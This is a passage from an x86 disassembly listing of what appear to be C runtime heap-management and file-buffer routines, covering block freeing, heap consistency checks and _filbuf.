[ebp+var_18] mov [eax+8], ecx mov edx, [ebp+var_18] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+var_2C] mov edx, [ecx+4] mov eax, [ebp+var_2C] mov [edx+8], eax mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_423343 cmp [ebp+var_20], 20h jnb short loc_4232DC mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], cl test edx, edx jnz short loc_4232BA mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_4232BA: ; CODE XREF: sub_423050+252j mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+44h], ecx jmp short loc_423343 ; --------------------------------------------------------------------------- loc_4232DC: ; CODE XREF: sub_423050+22Fj mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], cl test edx, edx jnz short loc_42331A mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_42331A: ; CODE XREF: sub_423050+2ADj mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx loc_423343: ; CODE XREF: sub_423050+225j ; sub_423050+28Aj mov ecx, [ebp+var_2C] mov edx, [ebp+var_10] mov [ecx], edx mov eax, [ebp+var_2C] add eax, [ebp+var_10] mov ecx, [ebp+var_10] mov [eax-4], ecx loc_423357: ; CODE XREF: sub_423050+1BBj mov edx, [ebp+var_1C] add edx, 1 mov eax, [ebp+var_14] mov [eax], edx mov ecx, [ebp+var_1C] add ecx, 1 mov edx, [ebp+var_14] add edx, [ebp+var_1C] mov [edx-4], ecx jmp loc_423632 ; --------------------------------------------------------------------------- loc_423376: ; CODE XREF: sub_423050+70j mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jge loc_423632 mov ecx, [ebp+var_1C] add ecx, 1 mov edx, [ebp+var_14] mov [edx], ecx mov eax, [ebp+var_1C] add eax, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1C] mov [ecx-4], eax mov edx, [ebp+var_14] add edx, [ebp+var_1C] mov [ebp+var_14], edx mov eax, [ebp+var_28] sub eax, [ebp+var_1C] mov [ebp+var_28], eax mov ecx, [ebp+var_28] sar ecx, 4 sub ecx, 1 mov [ebp+var_24], ecx cmp [ebp+var_24], 3Fh jbe short loc_4233C7 mov [ebp+var_24], 3Fh loc_4233C7: ; CODE XREF: sub_423050+36Ej mov edx, [ebp+var_10] and edx, 1 test edx, edx jnz loc_423510 mov eax, [ebp+var_10] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 3Fh jbe short loc_4233EE mov [ebp+var_20], 3Fh loc_4233EE: ; CODE XREF: sub_423050+395j mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_4234D0 cmp [ebp+var_20], 20h jnb short loc_423465 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_30] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_30] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_423463 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_423463: ; CODE XREF: sub_423050+3F9j jmp short loc_4234D0 ; --------------------------------------------------------------------------- loc_423465: ; CODE XREF: sub_423050+3B4j mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_30] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_4234D0 mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_4234D0: ; CODE XREF: sub_423050+3AAj ; sub_423050:loc_423463j ... mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov eax, [ebp+var_2C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_2C] mov eax, [edx+4] mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_28] add eax, [ebp+var_10] mov [ebp+var_28], eax mov ecx, [ebp+var_28] sar ecx, 4 sub ecx, 1 mov [ebp+var_24], ecx cmp [ebp+var_24], 3Fh jbe short loc_423510 mov [ebp+var_24], 3Fh loc_423510: ; CODE XREF: sub_423050+37Fj ; sub_423050+4B7j mov edx, [ebp+var_24] mov eax, [ebp+var_8] lea ecx, [eax+edx*8] mov [ebp+var_18], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx+8], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+4], edx mov eax, [ebp+var_14] mov ecx, [eax+4] mov edx, [ebp+var_14] mov [ecx+8], edx mov eax, [ebp+var_14] mov ecx, [ebp+var_14] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_42361E cmp [ebp+var_24], 20h jnb short loc_4235B8 mov eax, [ebp+var_30] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_30] add edx, [ebp+var_24] mov al, [edx+4] add al, 1 mov edx, [ebp+var_30] add edx, [ebp+var_24] mov [edx+4], al test ecx, ecx jnz short loc_423596 mov eax, 80000000h mov ecx, [ebp+var_24] shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx] or edx, eax mov eax, [ebp+arg_0] mov [eax], edx loc_423596: ; CODE XREF: sub_423050+52Ej mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] or eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax jmp short loc_42361E ; --------------------------------------------------------------------------- loc_4235B8: ; CODE XREF: sub_423050+50Cj mov eax, [ebp+var_30] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_30] add edx, [ebp+var_24] mov al, [edx+4] add al, 1 mov edx, [ebp+var_30] add edx, [ebp+var_24] mov [edx+4], al test ecx, ecx jnz short loc_4235F5 mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_4235F5: ; CODE XREF: sub_423050+588j mov ecx, [ebp+var_24] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+0C4h] or eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+0C4h], eax loc_42361E: ; CODE XREF: sub_423050+502j ; sub_423050+566j mov eax, [ebp+var_14] mov ecx, [ebp+var_28] mov [eax], ecx mov edx, [ebp+var_14] add edx, [ebp+var_28] mov eax, [ebp+var_28] mov [edx-4], eax loc_423632: ; CODE XREF: sub_423050+321j ; sub_423050+32Cj mov eax, 1 loc_423637: ; CODE XREF: sub_423050+8Dj mov esp, ebp pop ebp retn sub_423050 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_4EF054, 0 jz loc_42376C mov eax, ds:dword_4EF04C shl eax, 0Fh mov ecx, ds:dword_4EF054 mov edx, [ecx+0Ch] add edx, eax mov [ebp-4], edx push 4000h push 8000h mov eax, [ebp-4] push eax call ds:dword_4F1460 ; VirtualFree mov edx, 80000000h mov ecx, ds:dword_4EF04C shr edx, cl mov eax, ds:dword_4EF054 mov ecx, [eax+8] or ecx, edx mov edx, ds:dword_4EF054 mov [edx+8], ecx mov eax, ds:dword_4EF054 mov ecx, [eax+10h] mov edx, ds:dword_4EF04C mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, ds:dword_4EF054 mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, ds:dword_4EF054 mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, ds:dword_4EF054 mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_4236F2 mov edx, ds:dword_4EF054 mov eax, [edx+4] and al, 0FEh mov ecx, ds:dword_4EF054 mov [ecx+4], eax loc_4236F2: ; CODE XREF: seg000:004236DCj mov edx, ds:dword_4EF054 cmp dword ptr [edx+8], 0FFFFFFFFh jnz short loc_423762 cmp ds:dword_4EF058, 1 jle short loc_423762 mov eax, ds:dword_4EF054 mov ecx, [eax+10h] push ecx push 0 mov edx, ds:dword_4EF060 push edx call ds:dword_4F1454 ; RtlFreeHeap mov eax, ds:dword_4EF058 imul eax, 14h mov ecx, ds:dword_4EF05C add ecx, eax mov edx, ds:dword_4EF054 add edx, 14h sub ecx, edx push ecx mov eax, ds:dword_4EF054 add eax, 14h push eax mov ecx, ds:dword_4EF054 push ecx call sub_41F9A0 add esp, 0Ch mov edx, ds:dword_4EF058 sub edx, 1 mov ds:dword_4EF058, edx loc_423762: ; CODE XREF: seg000:004236FCj ; seg000:00423705j mov ds:dword_4EF054, 0 loc_42376C: ; CODE XREF: seg000:0042364Bj mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423770 proc near ; CODE XREF: sub_421F70+15p var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 168h mov eax, ds:dword_4EF058 imul eax, 14h push eax mov ecx, ds:dword_4EF05C push ecx call near ptr 3D0000h db 36h test eax, eax jz short loc_42379B or eax, 0FFFFFFFFh jmp loc_423D89 ; --------------------------------------------------------------------------- loc_42379B: ; CODE XREF: sub_423770+21j mov edx, ds:dword_4EF05C mov [ebp+var_13C], edx mov [ebp+var_120], 0 jmp short loc_4237C2 ; --------------------------------------------------------------------------- loc_4237B3: ; CODE XREF: sub_423770+612j mov eax, [ebp+var_120] add eax, 1 mov [ebp+var_120], eax loc_4237C2: ; CODE XREF: sub_423770+41j mov ecx, [ebp+var_120] cmp ecx, ds:dword_4EF058 jge loc_423D87 mov edx, [ebp+var_13C] mov eax, [edx+10h] mov [ebp+var_160], eax push 41C4h mov ecx, [ebp+var_160] push ecx call near ptr 3D0000h pop edi test eax, eax jz short loc_423803 mov eax, 0FFFFFFFEh jmp loc_423D89 ; --------------------------------------------------------------------------- loc_423803: ; CODE XREF: sub_423770+87j mov edx, [ebp+var_13C] mov eax, [edx+0Ch] mov [ebp+var_128], eax mov ecx, [ebp+var_160] add ecx, 144h mov [ebp+var_18], ecx mov edx, [ebp+var_13C] mov eax, [edx+8] mov [ebp+var_4], eax mov [ebp+var_144], 0 mov [ebp+var_158], 0 mov [ebp+var_C], 0 jmp short loc_423853 ; --------------------------------------------------------------------------- loc_42384A: ; CODE XREF: sub_423770+5D6j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_423853: ; CODE XREF: sub_423770+D8j cmp [ebp+var_C], 20h jge loc_423D4B mov [ebp+var_11C], 0 mov [ebp+var_150], 0 mov [ebp+var_12C], 0 mov [ebp+var_14C], 0 jmp short loc_423896 ; --------------------------------------------------------------------------- loc_423887: ; CODE XREF: sub_423770+140j mov edx, [ebp+var_14C] add edx, 1 mov [ebp+var_14C], edx loc_423896: ; CODE XREF: sub_423770+115j cmp [ebp+var_14C], 40h jge short loc_4238B2 mov eax, [ebp+var_14C] mov [ebp+eax*4+var_118], 0 jmp short loc_423887 ; --------------------------------------------------------------------------- loc_4238B2: ; CODE XREF: sub_423770+12Dj cmp [ebp+var_4], 0 jl loc_423CED push 8000h mov ecx, [ebp+var_128] push ecx call near ptr 3D0000h pushf test eax, eax jz short loc_4238DC mov eax, 0FFFFFFFCh jmp loc_423D89 ; --------------------------------------------------------------------------- loc_4238DC: ; CODE XREF: sub_423770+160j mov edx, [ebp+var_128] mov [ebp+var_8], edx mov [ebp+var_140], 0 jmp short loc_423900 ; --------------------------------------------------------------------------- loc_4238F1: ; CODE XREF: sub_423770+30Fj mov eax, [ebp+var_140] add eax, 1 mov [ebp+var_140], eax loc_423900: ; CODE XREF: sub_423770+17Fj cmp [ebp+var_140], 8 jge loc_423A84 mov ecx, [ebp+var_8] add ecx, 0Ch mov [ebp+var_130], ecx mov edx, [ebp+var_130] add edx, 0FF0h mov [ebp+var_138], edx mov eax, [ebp+var_130] cmp dword ptr [eax-4], 0FFFFFFFFh jnz short loc_423942 mov ecx, [ebp+var_138] cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_42394C loc_423942: ; CODE XREF: sub_423770+1C5j mov eax, 0FFFFFFFBh jmp loc_423D89 ; --------------------------------------------------------------------------- loc_42394C: ; CODE XREF: sub_423770+1D0j ; sub_423770+2E6j mov edx, [ebp+var_130] mov eax, [edx] mov [ebp+var_148], eax mov ecx, [ebp+var_148] mov [ebp+var_154], ecx mov edx, [ebp+var_154] and edx, 1 test edx, edx jz short loc_4239A9 mov eax, [ebp+var_148] sub eax, 1 mov [ebp+var_148], eax cmp [ebp+var_148], 400h jle short loc_423998 mov eax, 0FFFFFFFAh jmp loc_423D89 ; --------------------------------------------------------------------------- loc_423998: ; CODE XREF: sub_423770+21Cj mov ecx, [ebp+var_12C] add ecx, 1 mov [ebp+var_12C], ecx jmp short loc_4239EB ; --------------------------------------------------------------------------- loc_4239A9: ; CODE XREF: sub_423770+201j mov edx, [ebp+var_148] sar edx, 4 sub edx, 1 mov [ebp+var_14C], edx cmp [ebp+var_14C], 3Fh jle short loc_4239CE mov [ebp+var_14C], 3Fh loc_4239CE: ; CODE XREF: sub_423770+252j mov eax, [ebp+var_14C] mov ecx, [ebp+eax*4+var_118] add ecx, 1 mov edx, [ebp+var_14C] mov [ebp+edx*4+var_118], ecx loc_4239EB: ; CODE XREF: sub_423770+237j cmp [ebp+var_148], 10h jl short loc_423A0D mov eax, [ebp+var_148] and eax, 0Fh test eax, eax jnz short loc_423A0D cmp [ebp+var_148], 0FF0h jle short loc_423A17 loc_423A0D: ; CODE XREF: sub_423770+282j ; sub_423770+28Fj mov eax, 0FFFFFFF9h jmp loc_423D89 ; --------------------------------------------------------------------------- loc_423A17: ; CODE XREF: sub_423770+29Bj mov ecx, [ebp+var_130] add ecx, [ebp+var_148] mov edx, [ecx-4] cmp edx, [ebp+var_154] jz short loc_423A38 mov eax, 0FFFFFFF8h jmp loc_423D89 ; --------------------------------------------------------------------------- loc_423A38: ; CODE XREF: sub_423770+2BCj mov eax, [ebp+var_130] add eax, [ebp+var_148] mov [ebp+var_130], eax mov ecx, [ebp+var_130] cmp ecx, [ebp+var_138] jb loc_42394C mov edx, [ebp+var_130] cmp edx, [ebp+var_138] jz short loc_423A74 mov eax, 0FFFFFFF8h jmp loc_423D89 ; --------------------------------------------------------------------------- loc_423A74: ; CODE XREF: sub_423770+2F8j mov eax, [ebp+var_8] add eax, 1000h mov [ebp+var_8], eax jmp loc_4238F1 ; --------------------------------------------------------------------------- loc_423A84: ; CODE XREF: sub_423770+197j mov ecx, [ebp+var_18] mov edx, [ecx] cmp edx, [ebp+var_12C] jz short loc_423A9B mov eax, 0FFFFFFF7h jmp loc_423D89 ; --------------------------------------------------------------------------- loc_423A9B: ; CODE XREF: sub_423770+31Fj mov eax, [ebp+var_18] mov [ebp+var_134], eax mov [ebp+var_14], 0 jmp short loc_423AB6 ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423770+578j mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx loc_423AB6: ; CODE XREF: sub_423770+33Bj cmp [ebp+var_14], 40h jge loc_423CED mov [ebp+var_168], 0 mov edx, [ebp+var_134] mov [ebp+var_130], edx loc_423AD6: ; CODE XREF: sub_423770+4A5j mov eax, [ebp+var_130] mov ecx, [eax+4] mov [ebp+var_15C], ecx mov edx, [ebp+var_15C] cmp edx, [ebp+var_134] jz loc_423C1A mov eax, [ebp+var_14] mov ecx, [ebp+var_168] cmp ecx, [ebp+eax*4+var_118] jz loc_423C1A mov edx, [ebp+var_15C] cmp edx, [ebp+var_128] jb short loc_423B2E mov eax, [ebp+var_128] add eax, 8000h cmp [ebp+var_15C], eax jb short loc_423B38 loc_423B2E: ; CODE XREF: sub_423770+3A9j mov eax, 0FFFFFFF6h jmp loc_423D89 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423770+3BCj mov ecx, [ebp+var_15C] and ecx, 0FFFFF000h mov [ebp+var_164], ecx mov edx, [ebp+var_164] add edx, 0Ch mov [ebp+var_10], edx mov eax, [ebp+var_10] add eax, 0FF0h mov [ebp+var_124], eax loc_423B64: ; CODE XREF: sub_423770+41Cj mov ecx, [ebp+var_10] cmp ecx, [ebp+var_124] jz short loc_423B8E mov edx, [ebp+var_10] cmp edx, [ebp+var_15C] jnz short loc_423B7C jmp short loc_423B8E ; --------------------------------------------------------------------------- loc_423B7C: ; CODE XREF: sub_423770+408j mov eax, [ebp+var_10] mov ecx, [eax] and ecx, 0FFFFFFFEh mov edx, [ebp+var_10] add edx, ecx mov [ebp+var_10], edx jmp short loc_423B64 ; --------------------------------------------------------------------------- loc_423B8E: ; CODE XREF: sub_423770+3FDj ; sub_423770+40Aj mov eax, [ebp+var_10] cmp eax, [ebp+var_124] jnz short loc_423BA3 mov eax, 0FFFFFFF5h jmp loc_423D89 ; --------------------------------------------------------------------------- loc_423BA3: ; CODE XREF: sub_423770+427j mov ecx, [ebp+var_15C] mov edx, [ecx] sar edx, 4 sub edx, 1 mov [ebp+var_14C], edx cmp [ebp+var_14C], 3Fh jle short loc_423BCA mov [ebp+var_14C], 3Fh loc_423BCA: ; CODE XREF: sub_423770+44Ej mov eax, [ebp+var_14C] cmp eax, [ebp+var_14] jz short loc_423BDF mov eax, 0FFFFFFF4h jmp loc_423D89 ; --------------------------------------------------------------------------- loc_423BDF: ; CODE XREF: sub_423770+463j mov ecx, [ebp+var_15C] mov edx, [ecx+8] cmp edx, [ebp+var_130] jz short loc_423BFA mov eax, 0FFFFFFF3h jmp loc_423D89 ; --------------------------------------------------------------------------- loc_423BFA: ; CODE XREF: sub_423770+47Ej mov eax, [ebp+var_15C] mov [ebp+var_130], eax mov ecx, [ebp+var_168] add ecx, 1 mov [ebp+var_168], ecx jmp loc_423AD6 ; --------------------------------------------------------------------------- loc_423C1A: ; CODE XREF: sub_423770+381j ; sub_423770+397j cmp [ebp+var_168], 0 jz short loc_423C91 cmp [ebp+var_14], 20h jge short loc_423C5B mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_11C] or eax, edx mov [ebp+var_11C], eax mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_144] or eax, edx mov [ebp+var_144], eax jmp short loc_423C91 ; --------------------------------------------------------------------------- loc_423C5B: ; CODE XREF: sub_423770+4B7j mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_150] or eax, edx mov [ebp+var_150], eax mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_158] or eax, edx mov [ebp+var_158], eax loc_423C91: ; CODE XREF: sub_423770+4B1j ; sub_423770+4E9j mov ecx, [ebp+var_130] mov edx, [ecx+4] cmp edx, [ebp+var_134] jnz short loc_423CB4 mov eax, [ebp+var_14] mov ecx, [ebp+var_168] cmp ecx, [ebp+eax*4+var_118] jz short loc_423CBE loc_423CB4: ; CODE XREF: sub_423770+530j mov eax, 0FFFFFFF2h jmp loc_423D89 ; --------------------------------------------------------------------------- loc_423CBE: ; CODE XREF: sub_423770+542j mov edx, [ebp+var_134] mov eax, [edx+8] cmp eax, [ebp+var_130] jz short loc_423CD9 mov eax, 0FFFFFFF1h jmp loc_423D89 ; --------------------------------------------------------------------------- loc_423CD9: ; CODE XREF: sub_423770+55Dj mov ecx, [ebp+var_134] add ecx, 8 mov [ebp+var_134], ecx jmp loc_423AAD ; --------------------------------------------------------------------------- loc_423CED: ; CODE XREF: sub_423770+146j ; sub_423770+34Aj mov edx, [ebp+var_C] mov eax, [ebp+var_160] mov ecx, [ebp+var_11C] cmp ecx, [eax+edx*4+44h] jnz short loc_423D1A mov edx, [ebp+var_C] mov eax, [ebp+var_160] mov ecx, [ebp+var_150] cmp ecx, [eax+edx*4+0C4h] jz short loc_423D21 loc_423D1A: ; CODE XREF: sub_423770+590j mov eax, 0FFFFFFF0h jmp short loc_423D89 ; --------------------------------------------------------------------------- loc_423D21: ; CODE XREF: sub_423770+5A8j mov edx, [ebp+var_128] add edx, 8000h mov [ebp+var_128], edx mov eax, [ebp+var_18] add eax, 204h mov [ebp+var_18], eax mov ecx, [ebp+var_4] shl ecx, 1 mov [ebp+var_4], ecx jmp loc_42384A ; --------------------------------------------------------------------------- loc_423D4B: ; CODE XREF: sub_423770+E7j mov edx, [ebp+var_13C] mov eax, [ebp+var_144] cmp eax, [edx] jnz short loc_423D6C mov ecx, [ebp+var_13C] mov edx, [ebp+var_158] cmp edx, [ecx+4] jz short loc_423D73 loc_423D6C: ; CODE XREF: sub_423770+5E9j mov eax, 0FFFFFFEFh jmp short loc_423D89 ; --------------------------------------------------------------------------- loc_423D73: ; CODE XREF: sub_423770+5FAj mov eax, [ebp+var_13C] add eax, 14h mov [ebp+var_13C], eax jmp loc_4237B3 ; --------------------------------------------------------------------------- loc_423D87: ; CODE XREF: sub_423770+5Ej xor eax, eax loc_423D89: ; CODE XREF: sub_423770+26j ; sub_423770+8Ej ... mov esp, ebp pop ebp retn sub_423770 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423D90 proc near ; CODE XREF: sub_41CB60+66p ; sub_41D460+19p ... var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] add eax, 1 cmp eax, 100h ja short loc_423DBA mov ecx, [ebp+arg_0] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, [ebp+arg_4] jmp loc_423E43 ; --------------------------------------------------------------------------- loc_423DBA: ; CODE XREF: sub_423D90+11j mov ecx, [ebp+arg_0] sar ecx, 8 and ecx, 0FFh and ecx, 0FFh mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_423E03 mov ecx, [ebp+arg_0] sar ecx, 8 and ecx, 0FFh mov [ebp+var_C], cl mov dl, byte ptr [ebp+arg_0] mov [ebp+var_B], dl mov [ebp+var_A], 0 mov [ebp+var_8], 2 jmp short loc_423E14 ; --------------------------------------------------------------------------- loc_423E03: ; CODE XREF: sub_423D90+4Fj mov al, byte ptr [ebp+arg_0] mov [ebp+var_C], al mov [ebp+var_B], 0 mov [ebp+var_8], 1 loc_423E14: ; CODE XREF: sub_423D90+71j push 1 push 0 push 0 lea ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] push edx lea eax, [ebp+var_C] push eax push 1 call loc_42E040 add esp, 1Ch test eax, eax jnz short loc_423E38 xor eax, eax jmp short loc_423E43 ; --------------------------------------------------------------------------- loc_423E38: ; CODE XREF: sub_423D90+A2j mov eax, [ebp+var_4] and eax, 0FFFFh and eax, [ebp+arg_4] loc_423E43: ; CODE XREF: sub_423D90+25j ; sub_423D90+A6j mov esp, ebp pop ebp retn sub_423D90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E50 proc near ; CODE XREF: sub_41CE10+182p ; sub_41DEE0+D7p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_423E59: ; CODE XREF: sub_423E50+31j cmp [ebp+arg_0], 0 jnz short loc_423E7D push offset dword_4394FC push 0 push 69h push offset a_filbuf_c ; "_filbuf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_423E7D int 3 ; Trap to Debugger loc_423E7D: ; CODE XREF: sub_423E50+Dj ; sub_423E50+2Aj xor eax, eax test eax, eax jnz short loc_423E59 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_423EA5 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 40h test edx, edx jz short loc_423EAD loc_423EA5: ; CODE XREF: sub_423E50+46j or eax, 0FFFFFFFFh jmp loc_42402D ; --------------------------------------------------------------------------- loc_423EAD: ; CODE XREF: sub_423E50+53j mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 2 test ecx, ecx jz short loc_423ED0 mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 20h mov ecx, [ebp+var_4] mov [ecx+0Ch], eax or eax, 0FFFFFFFFh jmp loc_42402D ; --------------------------------------------------------------------------- loc_423ED0: ; CODE XREF: sub_423E50+68j mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 10Ch test eax, eax jnz short loc_423EFB mov ecx, [ebp+var_4] push ecx call sub_42E200 add esp, 4 jmp short loc_423F06 ; --------------------------------------------------------------------------- loc_423EFB: ; CODE XREF: sub_423E50+9Bj mov edx, [ebp+var_4] mov eax, [ebp+var_4] mov ecx, [eax+8] mov [edx], ecx loc_423F06: ; CODE XREF: sub_423E50+A9j mov edx, [ebp+var_4] mov eax, [edx+18h] push eax mov ecx, [ebp+var_4] mov edx, [ecx+8] push edx mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx call sub_424040 add esp, 0Ch mov edx, [ebp+var_4] mov [edx+4], eax mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_423F3B mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0FFFFFFFFh jnz short loc_423F6B loc_423F3B: ; CODE XREF: sub_423E50+E0j mov edx, [ebp+var_4] mov eax, [edx+4] neg eax sbb eax, eax and eax, 10h add eax, 10h mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, eax mov eax, [ebp+var_4] mov [eax+0Ch], edx mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 or eax, 0FFFFFFFFh jmp loc_42402D ; --------------------------------------------------------------------------- loc_423F6B: ; CODE XREF: sub_423E50+E9j mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 82h test eax, eax jnz short loc_423FD1 mov ecx, [ebp+var_4] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz short loc_423FA6 mov edx, [ebp+var_4] mov eax, [edx+10h] sar eax, 5 mov ecx, [ebp+var_4] mov edx, [ecx+10h] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[eax*4] add eax, edx mov [ebp+var_8], eax jmp short loc_423FAD ; --------------------------------------------------------------------------- loc_423FA6: ; CODE XREF: sub_423E50+131j mov [ebp+var_8], offset dword_4502B8 loc_423FAD: ; CODE XREF: sub_423E50+154j mov ecx, [ebp+var_8] 